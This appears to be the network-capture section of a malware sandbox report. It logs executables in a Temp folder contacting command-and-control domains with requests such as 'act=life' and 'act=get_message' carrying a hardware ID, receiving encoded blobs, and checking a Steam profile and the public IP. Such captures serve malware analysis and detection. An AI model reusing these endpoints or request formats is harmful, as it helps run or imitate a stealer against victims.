2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 9e a0 95 12 97 4f 38 21 3b a3 83 ec d4 ea c3 5e 9c 44 dd a0 ce 21 d2 23 7e 23 af ff 4e d8 f0 28 d1 4e 82 23 a5 c1 af 7a 3c 20 e5 03 94 5a d5 e7 21 65 ba 72 b2 99 d2 55 bd 55 f5 68 13 21 b0 72 d6 a3 ce 09 c9 11 da a0 d6 c2 e1 09 9c bd ab 36 3d f1 6c 6d b5 7a a7 78 1c f0 51 d6 e5 ea bf 4f 1e 55 d4 58 ef 38 13 d1 a5 d8 f2 e7 68 9a 29 84 70 71 5f 7d b1 55 91 55 b7 f2 fc c8 d6 4c b5 29 9b bc dc 79 c2 72 c9 1c b9 5f 7e c0 ad 7c 53 72 d1 0c c0 0d 1b 83 ce 37 70 53 35 c7 ef f7 87 a3 e0 29 c1 ce 55 77 79 a9 1d 9d 48 f6 88 38 35 d9 96 84 20 c5 c2 f8 b9 1f 82 69 b9 1f 95 13 d7 25 c6 16 d2 8f 9f d3 14 fb 8a 71 d7 24 1c 97 21 74 4b f6 5d fe 17 9b 7c 56 eb c4 29 d9 a7 3e 94 7b 71 9d a6 c1 36 6f 7f 5b dc 26 e3 91 5d 27 f0 d2 b7 28 62 0c ca e9 8d af 5d 53 51 c2 b4 42 67 Data Ascii: O8!;^D!#~#N(N#z< Z!erUUh!r6=lmzxQOUX8h)pq_}UUL)yr_~\|Sr7pS5)UwyH85 i%q$!tK]\|V)>{q6o[&]'(b]SQBg
2024-12-20 12:12:35 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qtb95qv734ia09e6j01136pasm; expires=Tue, 15 Apr 2025 05:59:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mKJ0Wjh1ExAftA2OEWy6xxxGmoq5O%2FQ1SzkhnpDbXJtGzLgaOc2lO9YlMLKeKmrOUArWYWVmsi%2Bi06iXHNdLm5NjzVeKZmgNfov7hmoG8CB%2BGGhb9u1d7HR98NjPnwUfx47zWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a96a8d34235-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1701&rtt_var=652&sent=201&recv=592&lost=0&retrans=0&sent_bytes=2841&recv_bytes=572735&delivery_rate=1660034&cwnd=248&unsent_bytes=0&cid=7938f0958fb030e5&ts=2301&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49892	98.85.100.80	443	8120	C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:33 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-20 12:12:34 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:33 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-20 12:12:34 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49905	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:37 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lossekniyyt.click
2024-12-20 12:12:37 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=4602916A957B8310AC8923850305D13E
2024-12-20 12:12:37 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rgur6m6ga7k5od20gcdjnt5knr; expires=Tue, 15 Apr 2025 05:59:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0BlcO6mAFOXiXAC8XGrpucyE3Vt39SEu3ZPxZ%2BQjYL1IlE5Fotk6iyDaZDVLrpVP5k7WfgHaswtgP2bjpo%2B%2Bvq6blt6lW3wFJ1Je0yuSm6gxzNTOuuDfy2QKudr9%2FMEwd5A%2FBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8aad5c3e7ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1998&min_rtt=1988&rtt_var=753&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=978&delivery_rate=1468812&cwnd=236&unsent_bytes=0&cid=e85ce5cbdc592a96&ts=763&x=0"
2024-12-20 12:12:37 UTC	54	IN	Data Raw: 33 30 0d 0a 62 56 64 75 44 52 73 67 53 2b 35 2f 44 62 51 6e 57 6e 5a 4f 2b 53 54 2b 54 65 52 35 48 66 54 31 78 70 42 5a 72 74 68 6d 4a 65 30 32 43 67 3d 3d 0d 0a Data Ascii: 30bVduDRsgS+5/DbQnWnZO+ST+TeR5HfT1xpBZrthmJe02Cg==
2024-12-20 12:12:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49924	45.77.249.79	443	4796	C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:44 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-20 12:12:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 12:12:45 UTC	94	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:44 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49936	178.62.201.34	443	4796	C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:47 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deafeninggeh.biz
2024-12-20 12:12:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 12:12:48 UTC	94	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:48 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49943	172.67.180.113	443	7180	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:51 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 12:12:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 12:12:52 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dnnmou0kbsognh1iptvklurqhu; expires=Tue, 15 Apr 2025 05:59:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oVmrsyl9bZmSgC0CWtE%2BNHRA%2FIgW4ZMbAD0s%2BeiySoI45PADH5hm%2BXJBxoMV1eLA%2BliRSAqumHZp1B8Cyp00Tykg%2BbiOfy8f8CchMGWVCQNTA9G4DZOFnb7t9w5McP8C%2FXop"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8b05cd7fef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1776&rtt_var=689&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1561497&cwnd=121&unsent_bytes=0&cid=98e3c3fc93a63b95&ts=1188&x=0"
2024-12-20 12:12:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 12:12:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49944	23.55.153.106	443	4796	C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:51 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-20 12:12:52 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 20 Dec 2024 12:12:51 GMT Content-Length: 25665 Connection: close Set-Cookie: sessionid=25bf8d3a7410e4266fdebffb; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-20 12:12:52 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-20 12:12:52 UTC	10097	IN	Data Raw: 3f 6c 3d 6b 6f 72 65 61 6e 61 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6b 6f 72 65 61 6e 61 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e ed 95 9c ea b5 ad ec 96 b4 20 28 4b 6f 72 65 61 6e 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: ?l=koreana" onclick="ChangeLanguage( 'koreana' ); return false;"> (Korean)</a><a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a>
2024-12-20 12:12:52 UTC	1089	IN	Data Raw: 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 09 Data Ascii: heir respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.<br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49951	172.67.180.113	443	7180	C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:53 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: treehoneyi.click
2024-12-20 12:12:53 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 6c 6f 61 64 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--load&j=
2024-12-20 12:12:54 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=inv1avqo97afqnqn7hoq5p0ggj; expires=Tue, 15 Apr 2025 05:59:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HSSWfQjjv1R2dxl3NuAXl7MkLuP%2FqREXbHWOaUwy2%2F2b9PQr%2BzSy%2Fhu4jNL1gh8xxgrV2YhPlhW4%2BIN4KAV6YrsMSbrRizjAwm2eZZYFIGdAOAVkZIZuW6DnYug%2FDPQ4TQRO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8b136d1f0f81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1659&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=946&delivery_rate=1683967&cwnd=239&unsent_bytes=0&cid=13689a9d3b2f586c&ts=858&x=0"
2024-12-20 12:12:54 UTC	242	IN	Data Raw: 34 39 31 63 0d 0a 45 74 58 70 46 37 54 4b 64 70 7a 45 65 6a 6e 34 30 46 78 4f 6d 36 39 6c 74 6a 6b 74 76 66 62 79 48 51 68 6a 4c 49 79 42 38 76 52 70 39 35 38 31 6a 76 35 61 76 72 63 66 47 38 4b 6b 4c 6a 76 2b 67 30 66 58 58 51 2b 48 6b 4a 4e 78 65 77 59 41 72 76 65 66 31 69 69 7a 69 48 76 48 72 31 71 2b 6f 51 49 62 77 6f 73 6e 62 50 37 42 52 34 77 62 53 4e 65 55 6b 33 46 71 41 6b 66 6a 38 5a 36 58 65 72 6d 4f 66 39 47 70 45 76 32 6f 46 31 79 64 74 54 30 6b 39 63 59 49 33 6c 51 50 6b 64 53 58 5a 79 70 5a 44 73 48 6b 68 70 56 66 74 4a 70 38 6c 72 64 61 35 2b 59 66 56 39 72 71 66 69 2f 2b 7a 51 6e 51 58 55 62 56 6e 70 70 35 61 77 64 47 2f 4f 69 55 6e 48 71 33 6a 58 37 62 6f 41 62 77 6f 68 42 58 6d 37 38 39 62 4c 65 4e Data Ascii: 491cEtXpF7TKdpzEejn40FxOm69ltjktvfbyHQhjLIyB8vRp9581jv5avrcfG8KkLjv+g0fXXQ+HkJNxewYArvef1iiziHvHr1q+oQIbwosnbP7BR4wbSNeUk3FqAkfj8Z6XermOf9GpEv2oF1ydtT0k9cYI3lQPkdSXZypZDsHkhpVftJp8lrda5+YfV9rqfi/+zQnQXUbVnpp5awdG/OiUnHq3jX7boAbwohBXm789bLeN
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 41 4d 77 62 46 35 2f 48 6f 6e 78 37 45 46 76 6a 38 35 62 57 62 2f 6d 53 4e 64 47 6b 56 4b 62 6d 45 46 65 55 74 7a 30 6a 2f 73 77 48 78 6c 52 50 33 4a 79 59 65 32 41 4f 51 65 48 74 6d 70 46 34 76 6f 78 36 30 61 41 53 38 61 56 59 46 64 71 31 4a 6d 79 68 6a 53 66 45 57 45 7a 4c 6d 59 45 2f 64 55 39 58 72 75 53 63 31 69 6a 33 6a 58 76 58 70 52 54 73 72 68 4e 51 6e 36 41 31 4a 66 54 41 42 39 6c 52 51 4e 79 55 6c 33 56 67 44 6b 54 71 37 70 32 51 63 4c 66 4c 4f 35 61 76 44 4c 37 2b 57 48 69 66 6f 6a 6b 67 37 34 38 39 6c 45 51 42 78 74 53 58 63 79 70 5a 44 75 62 6d 6b 35 56 37 75 49 68 39 33 62 6f 55 37 4b 41 56 58 6f 69 30 4f 79 4c 7a 7a 68 58 65 56 55 6e 63 6e 5a 74 32 62 77 5a 4b 72 71 33 51 6b 57 6a 33 30 7a 58 33 70 52 2f 79 72 41 39 62 32 71 31 77 4e 62 6e Data Ascii: AMwbF5/Honx7EFvj85bWb/mSNdGkVKbmEFeUtz0j/swHxlRP3JyYe2AOQeHtmpF4vox60aAS8aVYFdq1JmyhjSfEWEzLmYE/dU9XruSc1ij3jXvXpRTsrhNQn6A1JfTAB9lRQNyUl3VgDkTq7p2QcLfLO5avDL7+WHifojkg7489lEQBxtSXcypZDubmk5V7uIh93boU7KAVXoi0OyLzzhXeVUncnZt2bwZKrq3QkWj30zX3pR/yrA9b2q1wNbn
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 55 6e 51 6d 5a 77 2f 4a 45 46 4a 39 71 50 49 31 6c 71 30 6e 33 62 63 36 69 48 39 71 42 5a 63 6a 50 49 68 59 75 43 4e 41 4e 67 62 46 35 2b 5a 6b 58 64 73 45 30 48 6a 34 4a 36 59 66 37 4b 45 66 64 61 6f 47 66 75 69 45 31 43 5a 76 7a 6f 2b 38 38 30 50 30 56 70 46 31 64 54 65 50 32 30 5a 44 72 61 6a 6f 59 46 37 39 62 35 32 32 4b 59 54 36 4f 59 48 46 59 50 79 4f 53 43 35 6c 55 66 5a 55 30 72 61 6d 35 46 31 5a 41 52 45 34 75 75 65 6c 57 4b 34 6a 33 58 61 6f 42 37 7a 71 42 78 54 6b 37 6b 31 4b 76 6e 4d 44 5a 51 56 44 39 69 4d 30 43 63 71 4e 55 6e 69 37 70 2f 55 52 62 53 46 65 39 47 2b 56 4f 48 6f 41 52 75 64 76 6e 35 30 75 63 45 4f 31 46 42 46 32 35 53 58 63 6d 38 43 53 65 33 75 6c 35 78 2b 73 49 39 35 33 36 55 53 2f 71 45 63 58 6f 69 33 4e 79 44 31 6a 55 6d 55 Data Ascii: UnQmZw/JEFJ9qPI1lq0n3bc6iH9qBZcjPIhYuCNANgbF5+ZkXdsE0Hj4J6Yf7KEfdaoGfuiE1CZvzo+880P0VpF1dTeP20ZDrajoYF79b522KYT6OYHFYPyOSC5lUfZU0ram5F1ZARE4uuelWK4j3XaoB7zqBxTk7k1KvnMDZQVD9iM0CcqNUni7p/URbSFe9G+VOHoARudvn50ucEO1FBF25SXcm8CSe3ul5x+sI9536US/qEcXoi3NyD1jUmU
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 71 4a 50 32 30 4e 44 72 61 6a 6d 5a 39 69 75 59 56 38 32 36 34 63 2b 61 67 56 55 4a 79 35 4f 53 76 2f 77 41 2f 5a 58 6b 7a 65 6b 4a 70 74 61 51 70 45 34 2b 6e 51 32 44 43 77 6b 7a 57 4f 36 44 50 79 6a 77 68 41 69 4b 52 2b 4d 37 66 55 52 39 4e 58 44 34 66 55 6b 33 42 6a 44 6b 62 6d 37 4a 2b 53 66 72 47 4e 65 4e 4f 6e 48 75 79 75 46 6c 61 52 76 54 55 2b 2b 63 41 44 32 46 39 48 31 4a 37 51 4d 53 6f 47 56 71 36 37 30 4b 4e 39 75 49 74 32 77 4f 67 4c 73 4c 39 59 58 4a 62 79 5a 6d 7a 31 77 77 66 62 56 30 50 55 6e 4a 46 7a 5a 41 5a 4c 35 2b 75 59 68 48 47 7a 67 33 54 59 70 78 58 36 6f 78 31 66 6e 62 59 34 49 37 6d 44 52 39 4e 44 44 34 66 55 76 31 68 66 51 32 2f 55 6f 34 2f 59 61 66 65 4d 65 5a 62 77 56 50 4b 6c 46 46 4f 56 74 44 63 67 38 38 51 4d 32 46 42 4c 30 Data Ascii: qJP20NDrajmZ9iuYV8264c+agVUJy5OSv/wA/ZXkzekJptaQpE4+nQ2DCwkzWO6DPyjwhAiKR+M7fUR9NXD4fUk3BjDkbm7J+SfrGNeNOnHuyuFlaRvTU++cAD2F9H1J7QMSoGVq670KN9uIt2wOgLsL9YXJbyZmz1wwfbV0PUnJFzZAZL5+uYhHGzg3TYpxX6ox1fnbY4I7mDR9NDD4fUv1hfQ2/Uo4/YafeMeZbwVPKlFFOVtDcg88QM2FBL0
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 6c 41 45 2f 6f 38 5a 65 66 59 72 6d 47 65 74 36 67 48 66 2b 69 48 56 61 63 76 6a 51 74 2f 73 4d 4a 33 42 73 42 6e 35 4f 49 50 7a 4a 42 62 2f 37 34 67 6f 42 39 6c 6f 5a 36 6c 72 64 61 35 2b 59 66 56 39 72 71 66 69 58 72 79 51 72 47 55 6b 6a 52 6d 35 4e 74 61 77 78 46 2f 4f 53 66 6b 6e 65 37 6a 58 72 51 71 52 48 30 71 68 39 65 6b 62 30 79 62 4c 65 4e 41 4d 77 62 46 35 2b 36 6d 32 78 39 41 6b 44 6c 39 59 76 57 62 2f 6d 53 4e 64 47 6b 56 4b 62 6d 47 31 43 52 74 6a 34 67 2b 63 6b 4b 31 45 6c 41 32 4a 4f 5a 64 48 67 4c 53 65 6e 6f 6d 4a 31 2f 73 5a 6c 35 32 4c 6f 52 37 4c 52 59 46 64 71 31 4a 6d 79 68 6a 54 48 54 53 31 2f 63 31 71 46 70 61 52 64 46 34 2b 2f 51 69 54 36 75 79 33 4c 61 36 45 79 2b 6f 42 64 53 6d 62 30 2f 4a 66 58 41 41 74 31 65 54 74 6d 51 6d 6e Data Ascii: lAE/o8ZefYrmGet6gHf+iHVacvjQt/sMJ3BsBn5OIPzJBb/74goB9loZ6lrda5+YfV9rqfiXryQrGUkjRm5NtawxF/OSfkne7jXrQqRH0qh9ekb0ybLeNAMwbF5+6m2x9AkDl9YvWb/mSNdGkVKbmG1CRtj4g+ckK1ElA2JOZdHgLSenomJ1/sZl52LoR7LRYFdq1JmyhjTHTS1/c1qFpaRdF4+/QiT6uy3La6Ey+oBdSmb0/JfXAAt1eTtmQmn
2024-12-20 12:12:54 UTC	1369	IN	Data Raw: 72 76 7a 65 6a 7a 43 77 68 7a 57 4f 36 42 66 35 70 52 6c 52 6b 37 34 78 4b 2f 33 66 44 64 4e 4a 54 74 36 66 6e 58 4e 71 44 45 50 6b 34 70 6d 62 66 4c 71 4d 63 74 6d 74 56 4c 44 6d 48 30 50 61 36 6e 34 4e 39 4d 59 4c 6a 77 45 50 77 4e 71 4a 50 32 30 4e 44 72 61 6a 6b 4a 78 31 76 59 5a 32 32 61 73 47 2f 36 41 4b 57 35 65 34 4c 43 62 79 79 41 72 5a 56 6b 7a 5a 6b 70 74 7a 65 41 68 4f 37 65 6a 51 32 44 43 77 6b 7a 57 4f 36 44 66 70 73 42 4a 63 6c 71 51 31 4c 66 72 62 43 73 51 62 41 5a 2b 46 6c 32 34 71 57 56 6a 2b 39 4a 65 4a 50 71 37 4c 63 74 72 6f 54 4c 36 67 45 56 32 64 74 44 41 2b 2f 4d 73 49 32 31 4a 47 32 35 79 54 66 32 34 46 53 65 76 67 6e 4a 31 33 74 49 52 78 33 36 59 64 38 65 5a 57 47 35 32 71 66 6e 53 35 37 42 7a 58 56 30 4b 66 69 39 35 6d 4b 67 5a Data Ascii: rvzejzCwhzWO6Bf5pRlRk74xK/3fDdNJTt6fnXNqDEPk4pmbfLqMctmtVLDmH0Pa6n4N9MYLjwEPwNqJP20NDrajkJx1vYZ22asG/6AKW5e4LCbyyArZVkzZkptzeAhO7ejQ2DCwkzWO6DfpsBJclqQ1LfrbCsQbAZ+Fl24qWVj+9JeJPq7LctroTL6gEV2dtDA+/MsI21JG25yTf24FSevgnJ13tIRx36Yd8eZWG52qfnS57BzXV0Kfi95mKgZ
